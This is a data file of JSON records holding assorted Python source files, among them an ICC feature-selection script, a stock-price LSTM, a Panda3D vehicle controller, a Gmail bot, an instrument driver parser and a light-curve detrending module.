np.isnan(data)).astype(np.bool)\n data = data[to_remain]\n return data\n\n\n# show ICC distribution\ndef show_ICC_distribution(ICC_path,xmin,ymax):\n ICC_csv = pd.read_csv(ICC_path)\n\n ICC12 = del_NaN(ICC_csv['ICC12'].values)\n ICC13 = del_NaN(ICC_csv['ICC13'].values)\n ICC23 = del_NaN(ICC_csv['ICC23'].values)\n ICC123 = del_NaN(ICC_csv['ICC123'].values)\n\n f, ax = plt.subplots(2,2)\n numbins = 50\n range_min = xmin\n ax[0][0].hist(ICC12, numbins, rwidth=0.5, range=(range_min, 1))\n ax[0][1].hist(ICC13, numbins, rwidth=0.5, range=(range_min, 1))\n ax[1][0].hist(ICC23, numbins, rwidth=0.5, range=(range_min, 1))\n ax[1][1].hist(ICC123, numbins, rwidth=0.5, range=(range_min, 1))\n\n if ymax:\n ax[0][0].set_ylim(0,ymax)\n ax[0][1].set_ylim(0,ymax)\n ax[1][0].set_ylim(0,ymax)\n ax[1][1].set_ylim(0,ymax)\n\n ax[0][0].set_title('ICC12')\n ax[0][0].set_xlabel('ICC')\n ax[0][0].set_ylabel('Num of Features')\n\n ax[0][1].set_title('ICC13')\n ax[0][1].set_xlabel('ICC')\n ax[0][1].set_ylabel('Num of Features')\n\n ax[1][0].set_title('ICC23')\n ax[1][0].set_xlabel('ICC')\n ax[1][0].set_ylabel('Num of Features')\n\n ax[1][1].set_title('ICC123')\n ax[1][1].set_xlabel('ICC')\n ax[1][1].set_ylabel('Num of Features')\n\n plt.show()\n\n\n# compute percentile\ndef compute_percentile(data_path,percentage):\n data = pd.read_csv(data_path)\n for ICC_name in ['ICC12','ICC13' ,'ICC23', 'ICC123']:\n ICC = data[ICC_name].values\n ICC = del_NaN(ICC)\n\n percentile = np.percentile(ICC, percentage)\n max = np.max(ICC)\n min = np.min(ICC)\n print(ICC_name,min,max,percentile)\n\n\n# compute feature numbers which ICC value below threshold\ndef compute_num_under_threshold(data_path,threshold):\n data = pd.read_csv(data_path)\n for ICC_name in ['ICC12','ICC13' ,'ICC23', 'ICC123']:\n ICC = data[ICC_name].values\n ICC = del_NaN(ICC)\n threshold_destination = np.where(ICC < threshold)\n print(ICC_name,np.shape(threshold_destination)[1])\n\n\ndef compute_corr(ICC_path):\n ICC_csv = pd.read_csv(ICC_path)\n\n ICC12 = del_NaN(ICC_csv['ICC12'].values)\n ICC13 = del_NaN(ICC_csv['ICC13'].values)\n ICC23 = del_NaN(ICC_csv['ICC23'].values)\n ICC123 = del_NaN(ICC_csv['ICC123'].values)\n\n print(np.corrcoef(ICC12,ICC13))\n print(np.corrcoef(ICC12,ICC23))\n print(np.corrcoef(ICC13,ICC23))\n\n\n# select feature by threshold\ndef select_feature_by_threshold(dimension_dir,ICC_path, threshold):\n all_path = os.path.join(dimension_dir,'all\\\\all_features.csv')\n save_path = os.path.join(dimension_dir,'all\\\\selected_features.csv')\n\n ICC_data = (pd.read_csv(ICC_path)).values\n all_data = pd.read_csv(all_path)\n\n feature_list = ['CaseName']\n for row in range(np.shape(ICC_data)[0]):\n if (ICC_data[row][2] > threshold) and (ICC_data[row][3] > threshold):\n feature_list.append(ICC_data[row][0])\n\n selected_data = all_data[feature_list]\n selected_data = delete_redundant_case(selected_data)\n selected_data.to_csv(save_path,index=None)\n\n\ndef select_case_by_standard(model_path, standard_data, feature_data, standard):\n if standard == 'furman':\n standard_to_merge = pd.DataFrame({'CaseName':standard_data['Image NO.'], 'label':standard_data['Unnamed: 8']})\n elif standard == 'ISUP':\n standard_to_merge = pd.DataFrame({'CaseName': standard_data['Unnamed: 4'], 'label': standard_data['Unnamed: 7']})\n else:\n print('standard name wrong')\n\n standard_output = pd.merge(standard_to_merge,feature_data)\n standard_output = standard_output.drop_duplicates()\n\n save_path = os.path.join(model_path, standard+\"\\\\\"+standard+\"_feature.csv\")\n standard_output.to_csv(save_path, index=None)\n\n error_case = set(standard_to_merge['CaseName']).difference(set(feature_data['CaseName']))\n print(standard,error_case)\n\n\n# i forget\ndef seperate_furman_isup(all_path, label_path, model_path):\n feature_path = os.path.join(all_path, 'selected_features.csv')\n feature_data = pd.read_csv(feature_path)\n\n furman_data = pd.read_excel(label_path, sheet_name='Sheet1')\n isup_data = pd.read_excel(label_path, sheet_name='Sheet2')\n\n for i in range(len(feature_data['CaseName'])):\n feature_data['CaseName'][i] = int(feature_data['CaseName'][i][-8:])\n\n select_case_by_standard(model_path, furman_data, feature_data, 'furman')\n select_case_by_standard(model_path, isup_data, feature_data, 'ISUP')\n\n\ndef delete_redundant_case(data):\n error_list = ['CHEN_XIAO_CHUN_s 10838430', 'HE_LIN_XUAN_2 10790012', 'CHEN_XIAO_CHUN2_10838430', 'HE_LIN_XUAN2_10790012']\n # for error_name in error_list:\n data = data[~data['CaseName'].isin(error_list)]\n return data\n\n\n# dir_path = r'D:\\PycharmProjects\\learning\\SHZL\\feature_data\\2d\\new_ICC'\n# merge_ICC(dir_path)\n\n# ICC_path = r'D:\\PycharmProjects\\learning\\SHZL\\feature_data\\2d\\new_ICC\\ICC.csv'\n# show_ICC_distribution(ICC_path, xmin=0.9, ymax=800)\n# compute_percentile(ICC_path,10)\n# compute_num_under_threshold(ICC_path,0.95)\n# compute_corr(ICC_path)\n\n# dimension_path = r'D:\\PycharmProjects\\learning\\SHZL\\feature_data\\3d'\n# ICC_path = r'D:\\PycharmProjects\\learning\\SHZL\\feature_data\\3d\\new_ICC\\ICC.csv'\n# select_feature_by_threshold(dimension_path,ICC_path,0.9)\n\nlabel_path = r'F:\\SHZL\\ccRCC20190406 分类.xlsx'\nall_path = r'D:\\PycharmProjects\\learning\\SHZL\\feature_data\\3d\\all'\nmodel_path = r'F:\\SHZL\\model\\3d'\nseperate_furman_isup(all_path, label_path, model_path)\n","sub_path":"process/feature_selector.py","file_name":"feature_selector.py","file_ext":"py","file_size_in_byte":6167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"326674171","text":"import random\nfrom termcolor import colored \n\ndef NumRand():\n random.seed()\n x=random.randint(1,120)\n \n return x\n\n\ndef finalizar():\n print(colored(\"Programa finalizado\",\"red\") )\n\ndef intervalos1_120(n):\n i=\"\"\n if(n>=1 and n<10):\n i=\"(1,10)\"\n elif(n>=10 and n <50):\n i=\"[10,50)\"\n elif(n>=50 and n<100):\n i=\"[50,100)\"\n elif(n>=100 and n<=120):\n i=\"[100,120]\"\n else:\n i=\"fuera de [1,120]\" \n\n return i \n\n\n\n\ndef menu():\n print(colored(\"Ejercicio intervalos\\n\",\"yellow\"))\n print(colored(\"que deseas hacer? \\n\",\"yellow\"))\n print(colored(\"1. intervalos numero aleatorio entre 0 y 120\\n\",\"green\"))\n print(colored(\"2. salir\\n\",\"red\"))\n respuesta= input(\"\")\n return respuesta\n\n\n\ndef continuar():\n input(colored(\"Presiona Enter para continuar...\",\"yellow\"))\n\ndef main():\n salida=False\n while (salida==False):\n opcion=menu()\n if (opcion==\"1\"):\n x=NumRand()\n print(colored(\"su numero aleatorio es: \",\"yellow\") )\n print(colored(str(x) + \"\\n\",\"green\") )\n print(colored(\"el intervalo de su numero es:\\n \",\"yellow\") )\n print(colored(intervalos1_120(x) + \"\\n\",\"green\") )\n\n continuar()\n \n \n elif(opcion==\"2\"): \n salida=True\n print(colored(\"Gracias por usar el programa\\n\",\"red\") )\n finalizar()\n else:\n print(colored(\"No ha ingresado una opcion correcta\\n\",\"red\") )\n continuar() \n\nmain() ","sub_path":"py6_retos2/reto6.py","file_name":"reto6.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"87497092","text":"import glob\nimport time\n\nbase_dir = '/sys/bus/w1/devices/'\ndevice_folder = glob.glob(base_dir + '*-*')[0]\ndevice_file = device_folder + '/w1_slave'\nlog = open('/var/log/thermo/temp.log', 'a')\n\ndef read_temp_raw():\n f = open(device_file, 'r')\n lines = f.readlines()\n f.close()\n return lines\n\ndef read_temp():\n lines = read_temp_raw()\n while lines[0].strip()[-3:] != 'YES':\n lines = read_temp_raw()\n equals_pos = lines[1].find('t=')\n if equals_pos != -1:\n temp_string = lines[1][equals_pos+2:]\n temp_c = float(temp_string) / 1000\n temp_f = temp_c * 9 / 5 + 32\n return temp_c, temp_f\n\ntemp = read_temp()\nlog.write(\"{:.0f},{:.2f},{:.2f} \\n\".format(time.time(), temp[0], temp[1]))\n","sub_path":"containers/thermo-adapter/thermo.py","file_name":"thermo.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"365849513","text":"#!/usr/bin/env python3\n\n# Created by: Joseph Palermo\n# Created on: October 2019\n# This program makes sure that the sprite doesn’t go off the screen\n\n\nSCREEN_X = 160\nSCREEN_Y = 120\nSCREEN_GRID_X = 16\nSCREEN_GRID_Y = 8\nSPRITE_SIZE = 16\nTOTAL_NUMBER_OF_ALIENS = 5\nFPS = 60\n\n# Using for button space\nbutton_state = {\n \"button_up\": \"up,\",\n \"button_just_pressed\": \"just pressed\",\n \"button_still_pressed\": \"still pressed\",\n \"button_released\": \"released\"\n}\n","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"285867036","text":"#!/usr/bin/env python3\n\"\"\"With句の仕組み\"\"\"\n\nimport com.console\n\nlog = com.console.log\nlog_add_line = com.console.log_add_line\n\nlog('#============================')\nlog('# with句サンプル')\nlog('#============================')\n\n\nclass WithTest():\n \"\"\"with句で利用できるクラス\"\"\"\n\n def __init__(self, name):\n \"\"\"コンストラクタ\n\n Args:\n name (str): 名前\n \"\"\"\n super().__init__()\n self.name = name\n\n def __enter__(self):\n \"\"\"初期処理\"\"\"\n log('--- start ---')\n return self\n\n def __exit__(self, exception_type, exception_value, traceback):\n \"\"\"終了処理\n\n Args:\n exception_type (str): エラータイプ\n exception_value (str): エラー値\n traceback (str): トレース\n\n Returns:\n WithTest: インスタンス\n \"\"\"\n log('exception_type:{0}, exception_value:{1}, traceback:{2}'.format(\n exception_type, exception_value, traceback))\n log('--- end ---')\n log_add_line()\n return self\n\n\nwith WithTest('WITH TEST') as with_test:\n log(with_test.name)\n # 途中でエラーになろうと終了処理は正しく行われる\n raise Exception\n","sub_path":"python_template/basic/with_sample.py","file_name":"with_sample.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"302087708","text":"from pandac.PandaModules import Vec3\r\n\r\nclass Cycle:\r\n\tdef __init__(self, inputManager):\r\n\t\tself.inputManager = inputManager\r\n\t\tself.setupVarsNPs()\r\n\t\ttaskMgr.add(self.cycleControl, \"Cycle Control\")\r\n\tdef setupVarsNPs(self):\r\n\t\tself.root = render.attachNewNode(\"Root\")\r\n\t\tself.dirNP = self.root.attachNewNode(\"DirNP\")\r\n\t\tself.refNP = self.root.attachNewNode(\"RefNP\")\r\n\t\tself.dirVec = Vec3(0,0,0)\r\n\t\tself.cycleVec = Vec3(0,0,0)\r\n\t\tself.refVec = Vec3(0,0,0)\r\n\t\tself.speed = 0\r\n\t\tself.throttle = 0\r\n\t\tself.maxSpeed = 200\r\n\t\tself.accel = 25\r\n\t\tself.handling = 20\r\n\t\tself.cycle = loader.loadModel(\"../Models/Cycle.bam\")\r\n\t\tself.cycle.reparentTo(self.root)\r\n\t\tself.root.setPos(2,15,0)\r\n\t\tbase.camera.reparentTo(self.dirNP)\r\n\t\tbase.camera.setY(base.camera, -5)\r\n\tdef cycleControl(self, task):\r\n\t\tdt = globalClock.getDt()\r\n\t\tif( dt > .20):\r\n\t\t\treturn task.cont\r\n\t\tif(self.inputManager.keyMap[\"w\"] == True):\r\n\t\t\tself.adjustThrottle(\"up\", dt)\r\n\t\telif(self.inputManager.keyMap[\"s\"] == True):\r\n\t\t\tself.adjustThrottle(\"down\", dt)\r\n\t\tif(self.inputManager.keyMap[\"d\"] == True):\r\n\t\t\tself.turn(\"r\", dt)\r\n\t\telif(self.inputManager.keyMap[\"a\"] == True):\r\n\t\t\tself.turn(\"l\", dt)\r\n\t\tif(self.inputManager.keyMap[\"mouse1\"] == True):\r\n\t\t\tself.cameraZoom(\"in\", dt)\r\n\t\telif(self.inputManager.keyMap[\"mouse3\"] == True):\r\n\t\t\tself.cameraZoom(\"out\", dt)\r\n\t\tif(base.mouseWatcherNode.hasMouse() == True):\r\n\t\t\tmpos = base.mouseWatcherNode.getMouse()\r\n\t\t\tbase.camera.setP(mpos.getY() * 30)\r\n\t\t\tbase.camera.setH(mpos.getX() * -30)\r\n\t\tself.speedCheck(dt)\r\n\t\tself.simDrift(dt)\r\n\t\tself.move(dt)\r\n\t\treturn task.cont\r\n\tdef cameraZoom(self, dir, dt):\r\n\t\tif(dir == \"in\"): base.camera.setY(base.camera, 10 * dt)\r\n\t\telse: base.camera.setY(base.camera, -10 * dt)\r\n\tdef turn(self, dir, dt):\r\n\t\tturnRate = self.handling * (2 - \r\n\t\t\t(self.speed / self.maxSpeed))\r\n\t\tif(dir == \"r\"): turnRate = -turnRate\r\n\t\tself.cycle.setH(self.cycle, turnRate * dt)\r\n\tdef adjustThrottle(self, dir, dt):\r\n\t\tif(dir == \"up\"):\r\n\t\t\tself.throttle += .25 * dt\r\n\t\t\tif(self.throttle > 1 ): self.throttle = 1\r\n\t\telse:\r\n\t\t\tself.throttle -= .25 * dt\r\n\t\t\tif(self.throttle < -1 ): self.throttle = -1\r\n\tdef speedCheck(self, dt):\r\n\t\ttSetting = (self.maxSpeed * self.throttle)\r\n\t\tif(self.speed < tSetting):\r\n\t\t\tif((self.speed + (self.accel * dt)) > tSetting):\r\n\t\t\t\tself.speed = tSetting\r\n\t\t\telse:\r\n\t\t\t\tself.speed += (self.accel * dt)\r\n\t\telif(self.speed > tSetting):\r\n\t\t\tif((self.speed - (self.accel * dt)) < tSetting):\r\n\t\t\t\tself.speed = tSetting\r\n\t\t\telse:\r\n\t\t\t\tself.speed -= (self.accel * dt)\r\n\tdef simDrift(self, dt):\r\n\t\tself.refNP.setPos(self.dirNP, 0, 1, 0)\r\n\t\tself.dirVec.set(self.refNP.getX(), self.refNP.getY(), 0)\r\n\t\tself.refNP.setPos(self.cycle, 0, 1, 0)\r\n\t\tself.cycleVec.set(self.refNP.getX(), self.refNP.getY(), 0)\r\n\t\tself.refVec.set(0,0,1)\r\n\t\tvecDiff = self.dirVec.signedAngleDeg(self.cycleVec, \r\n\t\t\tself.refVec)\r\n\t\tif(vecDiff < .1 and vecDiff > -.1):\r\n\t\t\tself.dirNP.setHpr(self.cycle.getH(), 0, 0)\t\r\n\t\telse: self.dirNP.setHpr(self.dirNP, vecDiff * dt * 2.5, 0, 0)\r\n\t\tself.dirNP.setP(self.cycle.getP())\r\n\t\tself.dirNP.setR(0)\r\n\tdef move(self, dt):\r\n\t\tmps = self.speed * 1000 / 3600\r\n\t\tself.refNP.setPos(self.dirNP, 0, 1, 0)\r\n\t\tself.dirVec.set(self.refNP.getX(), self.refNP.getY(), \r\n\t\t\tself.refNP.getZ())\r\n\t\tself.root.setPos(self.root, \r\n\t\t\tself.dirVec.getX() * dt * mps, \r\n\t\t\tself.dirVec.getY() * dt * mps, \r\n\t\t\tself.dirVec.getZ() * dt * mps)","sub_path":"BGP3D/Chapter05/Examples/CycleClass_04.py","file_name":"CycleClass_04.py","file_ext":"py","file_size_in_byte":3369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"36748949","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport sqlalchemy\n\nmydb = sqlalchemy.create_engine(\n # namaDBsys://user:pass@host:port/namaDatabase\n 'mysql+pymysql://rudyabs:Kecapi48@localhost:3306/world'\n)\n\ndf = pd.read_sql('SELECT * FROM country', mydb)\nasean = df[df['Region'] == 'Southeast Asia'].reset_index()\nwarna = ['blue', 'orange', 'green', 'red', 'purple', 'brown', 'gray', 'yellow', 'pink', 'black', 'darkblue']\n\nplt.figure('Bar Chart - Populasi Negara ASEAN',figsize=(12,8))\nplt.bar(asean['Name'], asean['Population'], color = warna)\nplt.title('Populasi Negara ASEAN')\nplt.xlabel('Negara')\nplt.ylabel('Populasi (x100jt jiwa)')\nplt.xticks(rotation=30)\nplt.grid()\n\nfor j in range(len(asean)):\n plt.text(asean['Name'][j], asean['Population'][j] + 1000000, asean['Population'][j])\n\nplt.tight_layout()\nplt.show()\n","sub_path":"2-1_Populasi_ASEAN.py","file_name":"2-1_Populasi_ASEAN.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"335696942","text":"\n#Fibonacci 序列时间复杂度Olog(n)\n\ndef Fibonacci(n):\n\n if n>0:\n\n list = Fibonacci(int(n/2))\n t0 = list[0]\n t1 = list[1]\n\n if (n%2 == 1):\n return [t1**2 + t0**2,(2*t0+t1)*t1]\n else:\n return [(2*t1-t0)*t0,t0**2+t1**2]\n\n return [0,1]\n\n\nprint(Fibonacci(9))\n\t\n\n","sub_path":"Fibonacci.py","file_name":"Fibonacci.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"580014566","text":"import socket\r\n\r\nclient = socket.socket()\r\n\r\nclient.connect(('localhost',10000))\r\n\r\nwhile True:\r\n msg= input('>>').strip()\r\n if len(msg) == 0: continue\r\n client.send(msg.encode())\r\n data = client.recv(1024)\r\n print('return data:', data.decode())\r\n\r\nclient.close()\r\n\r\n","sub_path":"socket_client.py","file_name":"socket_client.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"204417264","text":"#!/usr/bin/env python\nimport click\nimport pandas as pd\nimport requests\nimport io\nimport datetime\nimport pandas_datareader.data as pdr\nimport sys\nimport tensorflow as tf\nimport numpy as np\nfrom sklearn.preprocessing import MinMaxScaler\nimport matplotlib.pyplot as plt\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nfrom keras.layers import Dropout\nfrom keras.layers import Masking\nfrom keras.optimizers import Adam\nfrom keras.layers import Flatten\n\n#ml function\ndef lstm(data, BS=3, EPOCHS=20, lr = 0.001, decay = 0.23):\n print(\"LSTM running ... ...\")\n scaler = MinMaxScaler(feature_range = (0, 1))\n n, m = data.shape\n #data[\"Pre-Close\"] = 0\n #for i in range(1, n):\n # data[\"Pre-Close\"].iloc[i] = data[\"Close\"].iloc[i-1].copy()\n #data = data.iloc[1:n].copy()\n n, m = data.shape\n train = data.iloc[0:(n*3)//4].to_numpy()\n val = data[(n*3)//4:n].to_numpy()\n train_scale = scaler.fit_transform(train)\n val_scale = scaler.transform(val)\n timesteps = 1 ## for future fine tuning \n features_set = np.delete(train_scale, 3, axis=1).copy() #.append(apple_training_scaled[i, 0:apple_train.shape[1]-1])\n labels = train_scale[:, 3].copy()\n features_set_val = np.delete(val_scale, 3, axis=1).copy() #get the features for training\n labels_val = val_scale[:, 3].copy() #get the prediction result for training\n features_set = np.reshape(features_set, (features_set.shape[0], timesteps, features_set.shape[1]))\n features_set_val = np.reshape(features_set_val, (features_set_val.shape[0], timesteps, features_set_val.shape[1]))\n opt = Adam(lr=lr, decay=decay / (EPOCHS))\n model = Sequential()\n model.add(LSTM(units=80, return_sequences=True, input_shape=(features_set.shape[1],features_set.shape[2])))#set first layer and the feature shape for each row\n model.add(LSTM(units=50, return_sequences=True))#set first layer and the feature shape for each row\n model.add(LSTM(units=50, return_sequences=True))#set first layer and the feature shape for each row\n model.add(Dropout(0.29))\n model.add(Flatten())\n model.add(Dense(units = 1,activation='relu'))\n model.compile(\n optimizer=opt,\n loss='binary_crossentropy',\n metrics=[\"binary_crossentropy\"])\n checkpoint_filepath = 'checkpoint.hdf5'\n model_checkpoint_callback = tf.keras.callbacks.ModelCheckpoint(\n filepath=checkpoint_filepath,\n save_weights_only=True,\n monitor='val_loss',\n mode='min',\n save_best_only=True)\n history = model.fit(features_set, labels, epochs = EPOCHS, batch_size = BS, validation_data=(features_set_val, labels_val), callbacks=[model_checkpoint_callback],verbose=0)\n predictions = model.predict(features_set_val)\n predictions = np.reshape(predictions, (features_set_val.shape[0]))\n validation = val_scale.copy()\n validation[:,3] = predictions\n result_val = scaler.inverse_transform(validation)\n print(result_val[-1, 3])\n return result_val[-1, 3]\n\n@click.command()\n@click.option(\"--name\")\ndef hello(name=\"AAPL\"):\n \"\"\"Return a table of 'value' stock price features\"\"\"\n\n #stock name\n stock = name\n \n #set up the start and end time point I want\n end = datetime.date.today()\n start = end + datetime.timedelta(days=-365)\n \n #using data_reader to retrieve stock data from yahoo finance\n data = pdr.DataReader(stock, 'yahoo', start, end)\n \n #data preprocessing\n data = data.round(3)\n #make model based on the original data\n tomorrow = lstm(data)\n\n #change data type and index of the datafram for better visualization\n data[\"Volume\"] = data.apply(lambda x: \"{:,.0f}\".format(x[\"Volume\"]), axis=1)\n data = data.reset_index()\n \n #return the table into html format and modify the look\n #return_table = data.to_html(table_id=stock, justify=\"center\")\n #return_table = return_table[:6] + \" align = 'center'\" + return_table[6:]\n \n if tomorrow > data[\"Close\"].iloc[-1]:\n future = 'Next: Bull'\n elif tomorrow < data[\"Close\"].iloc[-1]:\n future = 'Next: Bear'\n else: future = 'Next: Same'\n \n # add header\n title = '{0} historical stock price (from {1} to {2})'.format(stock, start, end)\n\n #subtitle = '

Python rt = {0}, tf = {1}

'.format(sys.version, tf.__version__)\n \n #return title + subtitle + future + return_table# + future\n click.echo(f'{title}\\n{future}!')\n\nif __name__ == '__main__':\n #pylint: disable=no-value-for-parameter\n hello()","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"219849786","text":"import smtplib, imapclient, pyzmail\n\npw = input('Password: ')\nsub = input('Subject: ')\nbody = input('Body: ')\nmailingList = ['ejcu8@k12albemarle.org', 'mrsw2@k12albemarle.org']\n\nserver = smtplib.SMTP('smtp.gmail.com', 587)\nserver.connect(\"smtp.gmail.com\", 587)\nserver.ehlo()\nserver.starttls()\nserver.ehlo()\nserver.login('strawbot17@gmail.com', pw)\n\nimapObj = imapclient.IMAPClient('imap.gmail.com', ssl = True)\nimapObj.login('strawbot17@gmail.com', pw)\nimapObj.select_folder('INBOX', readonly = True)\nnewReports = imapObj.search(['SUBJECT !issue', 'UNSEEN'])\nfor report in newReports:\n message = pyzmail.PyzMessage.factory(rawMessages[report]['BODY[]'])\n reportText = message.get_subject()\n user = message.get_addresses('from')\n server.sendmail('strawbot17@gmail.com', user, 'Subject: ' + + '\\n' + body)\n\n#for user in mailingList:\n #server.sendmail('strawbot17@gmail.com', user, 'Subject: ' + sub + '\\n' + body)\n\nserver.quit()\n","sub_path":"Gmail Bot.py","file_name":"Gmail Bot.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"287991254","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\ncategory = 'Optical source'\n\nclass Driver_parser():\n def __init__(self, Instance, name, **kwargs):\n self.name = name\n self.Instance = Instance\n \n \n def add_parser_usage(self,message):\n \"\"\"Usage to be used by the parser\"\"\"\n usage = f\"\"\"\n{message}\n\n---------------- Examples: ----------------\n\nusage: autolab driver [options] args\n \n autolab driver -D {self.name} -C USB -w 1550.2 -p 10\n load {self.name} driver using USB communication protocol with preconfigured vendor and deviceID and set the wavelength to 1550.2nm and the piezo to 10%.\n \n autolab driver -D nickname -x 1550.2,1551.3,3\n Use now the device nickname as defined in local_config.ini and perform a wavelength scan from 1550.2nm to 1551.3nm at a velocity of 3nm/s. I no third argument specified will use the device's stored one.\n\n autolab driver -D nickname -r 10,30.3,3\n Use now the device nickname as defined in local_config.ini and perform a piezo scan from 10% to 30% with a total period of 3s. If no third argument specified will go as fast as possible.\n \"\"\"\n return usage\n \n def add_parser_arguments(self,parser):\n \"\"\"Add arguments to the parser passed as input\"\"\"\n parser.add_argument(\"-w\", \"--wavelength\", type=str, dest=\"wavelength\", default=None, help=\"Set the wavelength value.\" )\n parser.add_argument(\"-x\", \"--scan_wavelength\", type=str, dest=\"scan_wavelength\", default=None, help=\"Set the wavelength scan values and start a scan. Arguments are: min,max,speed (1 is the start wavelength, 2 is the stop wavelength, 3 is the scan speed in nm/s).\" )\n parser.add_argument(\"-p\", \"--piezo\", type=str, dest=\"piezo\", default=None, help=\"Set the voltage to apply to the piezo in percent.\" )\n parser.add_argument(\"-r\", \"--scan_piezo\", type=str,dest=\"scan_piezo\", default=None, help=\"Set the values for the piezo scan and start a scan. Arguments are: min,max,time_scan (1 is the piezo start value, 2 is the piezo stop value, 3 is the total scan period).\" )\n \n return parser\n\n def do_something(self,args):\n if args.wavelength:\n getattr(self.Instance,'wavelength')(args.wavelength)\n if args.piezo:\n getattr(self.Instance,'set_piezo')(args.piezo)\n if args.scan_wavelength:\n scan_wavelength = args.scan_wavelength.split(',')\n if len(scan_wavelength) == 3:\n getattr(self.Instance,'set_scan_forward_velocity')(scan_wavelength[2])\n getattr(self.Instance,'set_scan_backward_velocity')(scan_wavelength[2])\n elif len(scan_wavelength)!=2:\n print('Please provide 2 or 3 values for the scan')\n sys.exit()\n getattr(self.Instance,'set_scan_start_wavelength')(scan_wavelength[0])\n getattr(self.Instance,'set_scan_stop_wavelength')(scan_wavelength[1])\n getattr(self.Instance,'start_scan_wavelength')() # starts wavelength scan\n sys.exit()\n if args.scan_piezo:\n getattr(self.Instance,'ramp_scanpiezo')(args.scan_piezo.split(','))\n sys.exit()\n\n\n def exit(self):\n #self.Instance.close()\n pass\n","sub_path":"newport_TLB6700/1.0.0/newport_TLB6700_utilities.py","file_name":"newport_TLB6700_utilities.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"60148288","text":"#!/usr/bin/env python\n# coding: utf-8\nimport numpy as np\n\ndef construct_matrices(F, T, sigma):\n J, K = F.shape # F = observed fluxes, J = no. cameras, K = no. observations\n J1, K1, N = T.shape # T = common mode trends, N = no. trends (per camera)\n J2, K2 = sigma.shape # sigma = flux uncertainties\n assert J2 == J1 == J\n assert K2 == K1 == K\n M = J * N\n w = 1. / sigma**2\n Fw = F * w \n Cinv = np.diag(1./w.sum(axis=0))\n D = np.zeros((K,M))\n E = np.zeros((M,M))\n for j in range(J):\n for n1 in range(N): \n m1 = j * N + n1\n for k in range(K):\n D[k,m1] = T[j,k,n1] / sigma[j,k]**2\n for n2 in range(N):\n m2 = j * N + n2 \n E[m1, m2] = (T[j,:,n1] * T[j,:,n2] * w[j,:]).sum()\n y = np.zeros(M+K)\n y[:K] = Fw.sum(axis=0)\n for j in range(J):\n FwT = Fw[j,:][:,None] * T[j,:,:]\n y[K+j*N:K+(j+1)*N] = FwT.sum(axis=0)\n return Cinv, D, E, y\n\nfrom scipy.linalg import inv\n#from pyaneti import cholesky_inv_det, inverse,invert_multi_gp_matrix\ndef solve(F, T, sigma):\n J, K = F.shape # F = observed fluxes, J = no. cameras, K = no. observations\n J1, K1, N = T.shape # T = common mode trends, N = no. trends (per camera)\n J2, K2 = sigma.shape # sigma = flux uncertainties\n assert J2 == J1 == J\n assert K2 == K1 == K\n Cinv, D, E, y = construct_matrices(F, T, sigma)\n CinvD = np.dot(Cinv, D)\n DTCinvD = np.dot(D.T, CinvD)\n E_DTCinvD = E - DTCinvD\n E_DTCinvD_inv = inv(E_DTCinvD)\n bottomright = E_DTCinvD_inv\n topright = - np.dot(Cinv,np.dot(D,E_DTCinvD_inv))\n bottomleft = topright.T\n topleft = Cinv + np.dot(Cinv, np.dot(D, -bottomleft))\n Xinv = np.zeros((K+J*N,K+J*N))\n Xinv[:K,:K] = topleft\n Xinv[:K,K:] = topright\n Xinv[K:,:K] = bottomleft\n Xinv[K:,K:] = bottomright\n p = np.dot(Xinv,y)\n J, K, N = T.shape\n a = p[:K]\n w = p[K:].reshape((J,N))\n B = np.zeros((J,K))\n for j in range(J):\n for n in range(N):\n B[j,:] += w[j,n] * T[j,:,n]\n return a, w, B, (Cinv, D, E, y, CinvD, DTCinvD, E_DTCinvD, E_DTCinvD_inv, bottomright, topright, bottomleft, topleft, Xinv, p)\n\n#Functions to correct the data using the CBVs\n\n#Merit function definition -> http://mathworld.wolfram.com/MeritFunction.html\n#Calculate the least squares between the raw flux and the basis vectors with a given set of parameters\n#to be called by CBVCorrector\ndef merit_function(pars,flux,basis,n=2):\n squares = [0.0]*len(flux)\n for i in range(len(flux)):\n dummy = 0.0\n for j in range(len(basis)):\n dummy += pars[j]*basis[j][i]\n squares[i] = (abs(flux[i] - dummy))**n\n return np.sum(squares)\n\n#Fucntion that corrects the flux \"flux\" given a set of CVBs \"basis\"\nfrom scipy.optimize import fmin, minimize\ndef CBVCorrector(flux,basis):\n pars = [1.]*len(basis)\n #print(\"Correcting with {} basis vectors\".format(len(basis)))\n pars = minimize(merit_function,pars,args=(flux,basis))\n new_flux = np.array(flux)\n #print('Coefficients = {}'.format(pars.x))\n #correct the raw flux with basis vectors\n for i in range(len(pars.x)):\n new_flux = new_flux - pars.x[i]*basis[i]\n return 